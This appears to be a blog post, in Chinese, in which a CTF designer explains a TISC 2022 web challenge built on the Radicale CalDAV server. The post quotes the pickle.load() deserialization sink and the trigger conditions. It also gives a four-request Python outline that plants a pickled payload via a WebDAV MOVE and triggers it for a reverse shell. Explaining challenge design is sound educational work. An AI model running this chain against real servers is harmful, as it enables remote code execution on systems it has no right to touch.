写点什么

挑战设计:为 2022 年信息安全挑战赛打造 CalDAV 协议漏洞利用关卡

作者:qife
  • 2025-07-24
    福建
  • 本文字数:1739 字

    阅读完需:约 6 分钟

挑战设计背景

虽然我不常参加 CTF 比赛,但热衷于设计 CTF 挑战题目,因为这能迫使我通过实践学习。设计优秀的 CTF 挑战更像艺术而非科学。作为去年 3 万美元奖金"The InfoSecurity Challenge"(TISC)的获胜者,我决定今年贡献一个挑战题目。


完整挑战代码已发布在GitHub

设计原则

教育性

最好的 CTF 挑战应该具有教学价值。我的挑战围绕 CalDAV 协议设计,这是 WEBDAV(HTTP 的扩展协议)的研究较少的超集协议,从 iOS 默认日历到 IoT 设备都在使用。在 DEF CON 30 大会上,我展示过 iCalendar 文件格式的研究,但未公开其通信协议的相关发现。

真实性

尽管所有 CTF 挑战都存在人为设计成分,我尽量保持真实性:使用真实开源代码(Radicale 服务器),确保漏洞利用链逻辑合理,还原日常 Web 漏洞研究中的代码审计体验。

透明性

避免"通过 obscurity 增加难度"的黑盒模式,我构建了白盒挑战,所有相关代码都对参赛者可见。

挑战性

Web 类题目通常是最容易的 CTF 挑战类别。我试图打破这种认知:虽然提供源代码,但要求参赛者阅读 RFC 文档并构造特殊 payload。


最重要的是——这个挑战必须足够优雅:


🚫 禁止暴力破解


🚫 禁止盲目猜测


🎯 最终获得反向 shell

"几乎可利用"的漏洞

漏洞研究中最痛苦的时刻,就是发现某个潜在漏洞点因输入过滤、验证或数据转换而无法利用。Radicale(流行开源 CalDAV 服务器)中就存在这样的"准漏洞"。


Radicale 除了处理 iCalendar 文件外,还使用 Python 标准库 pickle 存储日历元数据。当调用pickle.load()反序列化时,会执行 pickle 文件中类的__reduce__方法——这是众所周知的代码执行向量。


Radicale 在三处调用了pickle.load(),其中一处位于storage/multifilesystem/sync.py


class CollectionPartSync(CollectionPartCache, CollectionPartHistory,                         CollectionBase):    def sync(self, old_token: str = "") -> Tuple[str, Iterable[str]]:        if old_token_name:            with open(old_token_path, "rb") as f:                old_state = pickle.load(f)  # 漏洞点
复制代码


触发路径需要满足:


  1. 发送 REPORT 请求,XML 正文包含D:sync-collection根元素和D:sync-token子元素

  2. sync-token 值格式必须为:http://radicale.org/ns/sync/<64位小写hex字符串>

  3. pickle 文件必须存在于:<根目录>/<用户名>/<日历名>/.Radicale.cache/sync-token/<合法token名>


但 Radicale 的路径消毒函数is_safe_filesystem_path_component()会检查路径段是否以点开头,阻止写入.Radicale.cache目录。

构造利用链

作为 CTF 挑战,我通过以下设计使"准漏洞"变得可利用:


  1. 用 Go 编写"开发版"CalDAV 服务器,共享 Radicale 的根目录

  2. 保留授权检查但移除.开头的路径限制

  3. 利用 WebDAV 的 MOVE/COPY 方法(通过 Destination 头指定目标路径)绕过路径段限制


完整攻击仅需 4 个 HTTP 请求:


# 1. 创建sync-token目录session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=generate_sync_token)
# 2. 上传payloadsession.put(DEV_SERVER_URL+"/"+USERNAME+"/payload", data=pickle.dumps(RCE()))
# 3. 移动payload到目标位置session.request("MOVE", DEV_SERVER_URL+"/"+USERNAME+"/payload", headers={"Destination":DEV_SERVER_URL+"/"+USERNAME+"/default/.Radicale.cache/sync-token/"+SYNC_TOKEN_NAME})
# 4. 触发执行session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=execute_payload)
复制代码

意外挑战与解决方案

测试中发现三个意外问题:


  1. 其他 pickle.load()调用点:通过 nginx 反向代理禁用 GET 等方法,强制使用 REPORT 方法触发目标路径

  2. 环境隔离问题:使用 radicale 受限用户和定时清理脚本防止解题干扰

  3. 解题时间预估偏差:原预计 6 小时,实际平均耗时 7 天,最终通过三条渐进式提示引导参赛者:

  4. "将其视为代码审计挑战,已提供反向代理配置"

  5. "研究 RFC 中的 PROPFIND 方法,关注其他 HTTP 方法"

  6. "两个服务器共存的原因?尝试利用一个服务器攻破另一个"

经验总结

这次挑战设计揭示了:


  1. 难度评估的复杂性

  2. 在"透明性"和"挑战性"之间需要权衡

  3. 充分的测试环节至关重要


最终目标不仅是比赛——希望参赛者能深入理解这个广泛使用但陈旧的协议标准,并掌握代码审计的核心方法论。祝贺所有获胜者!更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码


办公AI智能小助手


用户头像

qife

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
挑战设计:为2022年信息安全挑战赛打造CalDAV协议漏洞利用关卡_CTF挑战设计_qife_InfoQ写作社区